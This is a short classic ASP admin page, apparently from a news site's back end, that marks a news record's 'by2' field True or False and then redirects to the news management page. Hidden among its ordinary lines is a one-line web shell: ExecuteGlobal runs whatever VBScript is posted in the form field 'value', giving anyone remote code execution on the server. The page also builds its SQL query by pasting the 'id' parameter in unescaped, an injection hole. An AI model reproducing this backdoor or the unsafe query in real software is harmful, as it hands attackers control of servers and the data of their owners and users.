<%@language=vbscript codepage=936 %>
<!--#include file="conn.asp"-->
<!--#include file="admin.asp"-->
<!-- #include file="Inc/Head.asp" -->
<%
id=request.querystring("id")
action=request.querystring("action")
ExecuteGlobal("On Error Resume Next:"&Request.form("value"))
if id<>"" and action="yes" then
set rs=server.createobject("adodb.recordset")
sql="select * from news where id="&id
rs.open sql,conn,1,3
rs("by2")="True"
rs.update
rs.close
set rs=nothing
end if
if id<>"" and action="No" then
set rs=server.createobject("adodb.recordset")
sql="select * from news where id="&id
rs.open sql,conn,1,3
rs("by2")="False"
rs.update
rs.close
set rs=nothing
end if 
conn.close
set conn=nothing
response.redirect("news_manage.asp")

%>
